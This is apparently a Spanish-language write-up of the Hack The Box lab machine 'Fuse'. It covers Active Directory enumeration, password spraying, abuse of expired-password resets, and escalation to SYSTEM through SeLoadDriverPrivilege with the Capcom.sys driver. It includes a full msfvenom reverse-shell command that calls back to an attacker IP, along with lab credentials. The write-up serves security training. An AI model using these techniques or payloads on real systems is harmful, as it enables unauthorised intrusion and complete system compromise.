HTB-Fuse

IP -> 10.10.10.193

Reconocimiento

Nmap

Utilizamos nmap y obtenemos los siguientes resultados.

Fuse Nmap Result

Crackmapexec

Usamos Crackmapexec para enumerar información del Active Directory y añadimos el dominio al /etc/hosts

OS: Windows Server 2016 x64 Dominio: fabricorp.local Signing: True SMBv1: True

smbclient y smbhost

Listamos servicios mediante un [null session](/SMB/

rpc

Aporvechamos el servicio rpc para enumerar usuarios del sistema. Pero necesitamos credenciales

ldap

Enumeramos el servicio ldap con [ldapsearch]((/ldap/)

http

Nos redirecciona a un subdominio, lo añadimos al /etc/hosts.

Nos muestra la página de una impresora. En los distintos Logs de la impresora vemos usuarios.

users.txt

kerbrute

Validamos los usuarios en kerbrute y son válidos.

GetNPUsers.py

Probamos un ASREPRoast con la herramienta [GetNPUsers.py]((/ASREPRoast/) Pero no encontramos ningún usuario ASREPRoasteable.

Crackmapexec

Probamos los usuarios con Crackmapexec con contraseña, los mismos usuarios.

CeWl

Creamos un diccionario con CeWl con las palabras que aparecen en la página

Diccionario.txt

Crackmapexec

Probamos el diccionario con los usuarios en segundo plano mientras probamos otros vectores.

User: tlavel Pass: Fabricorp01 Status: Password must change

Probamos otro escaneo que no pare en el éxito y filtrando los resultador erróneos con grep. Obtenemos otro usuario igual.

User: bhult Pass: Mario123$! Status: Password must change

smbpasswd

Cambiamos la contraseña con [smbpasswd](/SMB/

User: bhult Pass: Fabricorp01

User: tlavel Pass: Mario123$!

rpc

Aporvechamos el servicio rpc para enumerar usuarios del sistema, proporcionando las credenciales obtenidas. Tenemos acceso, recopilamos información.

Extendemos el archivo user.txt con los nuevos usuarios.

users.txt

GetNPUsers.py

Probamos un ASREPRoast con la herramienta [GetNPUsers.py]((/ASREPRoast/) Pero no obtenemos nada.

Tarea

Detectamos que la máquina vuelve a cambiar la contraseña del usuario, la volvemos a cambiar con [smbpasswd](/SMB/

GetUserSPN.py

Probamos un Kerberoasting Attack con la credenciales obtenidas. Pero ningún usuario es Kerberoasteable.

rpc

Como la página es una impresora, buscamos comandos en [rpcclient]((/rpc/)

enumprinters PASS: $fab@s3Rv1ce$1

Crackmapexec

Realizamos un ataque de password praying probándo la contraseña para todos los usuarios.

User: svc-print PASS: $fab@s3Rv1ce$1

Vemos que por winrm aparece como PWNED.

Explotación

Evil-winrm

Nos conectamos proporcionando las credenciales en [winrm

user.txt

Privilege escalation

ldapdomaindump

Utilizamos la herramienta [ldapdomaindump]((/ldap/) Buscamos los usuarios que se puedan conectar con winrm.

RMU: sthompson, svc-print

Enumeración a nivel de OS.

whoami /priv

SeLoadDriverPrivilege

Explotación

Buscamos el permiso en google y encontramos un blog de tarlogic que explica como explotarlo.

EoPLoadDriver.cpp

Necesitamos un compilado de EoPLoadDriver.cpp Nos lo descargamos en una máquina windows 10 con Visual Studio.

Nuevo_Proyecto Aplicación_de_consola_C++ Nombre: LoadDriver Pegamos el código del EoPLoadDriver.cpp Release x64 Compilar Recompilar solución > Nos da un error con una librería Quitamos la librería Volvemos a compilar Tenemos el EoPLoadDriver.exe

Capcom.sys

Seguimos leyendo el blog y necesitamos un Capcom.sys, lo buscamos en github.

Tenemos el Capcom.sys

ExploitCapcom.sln

Seguimos leyendo y vemos que cargando el driver podemos utilizar exploits en GitHub para obtener una consola como SYSTEM.

Clonamos el repositorio ExploitCapcom Abrimos el ExpliotCapcom.sln Proyecto Propiedades de ExploitCapcom Conjunto de herramientas de la plataforma: Visual Studio 2022 Cambiamos el código para que en vez de ejecutar una cmd.exe a nivel de sistema, nos ejecute un binario malicioso que vamos a crear. Compilamos Tenemos el ExploitCapcom.exe

msfvenom

Cramos el binario

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.8 LPORT=443 -f exe -o evil.exe

Subimos el binario a una ruta con AppLockerBypass

Binarios

Pasamos los 3 binarios con [[smbserver.py]] desde la máquina W10 a la máquina parrot.

Subimos los binarios a la máquina víctima.

Seguimos los pasos del blog.

Obtenemos una shell con netcat como nt authority\system

root.txt

Tags:

Categories:

Updated: